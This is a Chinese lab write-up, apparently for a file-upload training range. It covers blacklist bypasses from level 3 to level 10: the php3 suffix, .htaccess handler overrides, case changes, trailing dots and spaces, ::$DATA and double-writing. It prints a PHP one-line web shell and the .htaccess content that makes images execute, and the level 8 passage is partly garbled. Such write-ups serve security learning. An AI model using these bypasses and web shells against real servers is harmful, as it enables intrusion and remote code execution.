【第三关】黑名单限制不全
原理:黑名单绕过之修改后缀名
Ⅰ 源码解析
对上传文件有清洗,也有黑名单验证,不过黑名单个数有点少~
Ⅱ 原理分析
修改文件类型和数据包内容类型,都被拦截了,不过通过提示内容,外面知道这是黑名单滤过
黑名单是一种不安全,可以各种方法进行绕过
下图是常见的黑名单绕过方法
Ⅲ 绕过过程
上传php文件,burp抓包,修改文件名为1.php3
放包,查看后台文件
【第四关】htaccess配置文件利用
Ⅰ 源码解析
黑名单更加丰富,清洗文件没有问题,但在生成上传文件的绝对路径使用了file_name,注意这个是没有后缀清洗过的.
这里就会有一个问题:如果我上传文件后,通过了黑名单验证,就可以上传成功,这里可以利用配置文件.htaccess或.user.ini文件,将非黑名单的文件当作php文件执行
$img_path = UPLOAD_PATH.'/'.$file_name;
Ⅱ 原理分析
随便上传,提示
利用 .htaccess 文件的特点,使其所在目录下的所有文件以php文件执行
分别上传这两份文件
.htaccess
SetHandler application/x-httpd-php
.png
<?php @eval($_POST['a']);?>
Ⅲ 绕过过程
分别上传.htaccess文件和一个jpg/png格式的文件
分别用蚁剑和菜刀,都没有连接到,原因未知,不过可以网页访问
参考某博客的方法,不可行
Apache里的httpd.conf 添加了执行语句,也不可
需要解决下htacess文件绕过,蚁剑返回空数据
【第五关】大小写绕过
Ⅰ 源码解析
跟第四关最大的不同,就是加多限制了htaccess文件,发现没有大小写转换函数,说明可以利用大小写绕过
Ⅱ 绕过过程
- 上传php文件,burp抓包
- 修改数据包,改成XX.Php,放包
- 查看后台数据是否存在
【第六关】空格绕过
Ⅰ 源码解析
相比于第一关的筛选条件上,缺少一个首尾去空格
Ⅱ 绕过过程
上传->抓包->改包->放包
改包:将XXX.php 修改为 XXX.php
上传失败,未找到原因
【第七关】尾点绕过
Ⅰ 源码解析
缺少一个尾部点的去除
Ⅱ 原理
解析下为什么可以用两个点号,绕过黑名单验证
在源码上,我们可以看到一个函数 strrchr($file_name, ‘.’),它是专门负责去除点号的,但它只会执行一次
增加的两个点里
- 第一个点:抵消 strrchr($file_name, ‘.’)的作用
- 第二个点:伪装php文件,形成 XXX.php. 文件,在win里面会忽略最后面的点号
Ⅲ 绕过过程
- 上传抓包->改包,将文件修改为 XXX.php…(注意有两个点)
- 放包,蚁剑连接
【第八关】文件流绕过
Ⅰ 源码解析
缺少一个字符串筛选函数
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
Ⅱ 原理
利用**::
D
A
T
A
∗
∗
,进行字符串绕过什么是
:
:
DATA**,进行字符串绕过 什么是::
DATA∗∗,进行字符串绕过什么是::DATA?
Ⅲ 绕过过程
四步走
上传
抓包
改包
放包,蚁剑连接
【第九关】未循环验证(未解决)
Ⅰ 源码解析
上传文件时,生成上传文件的绝对路径是用file_name 拼接上去,但file_name 只删除了尾点,我们可以利用Win10的特性,会自动忽略掉尾部空格和点号
但我们上传了XXX.php文件,然后改成 XXX.php. . ,会通过in_array函数的验证,生成绝对路径时 变成 XXX.php_. ( **_表示空格 **) ,win10会忽略掉这两个
Ⅱ 绕过过程
根据网上的教学,用点空格点的方法绕过
也就是XXX.php 改成 **XXX.php. . ** ,但提交后发现不可行,报错,未找到原因
【第十关】双写绕过
Ⅰ 源码解析
将dent_ext内的值变成空格,也就是去除掉
$file_name = str_ireplace($deny_ext,"", $file_name);
Ⅱ 绕过过程
上传文件,抓包
改包,将XXX.php 双写 XXX.pphphp
放包,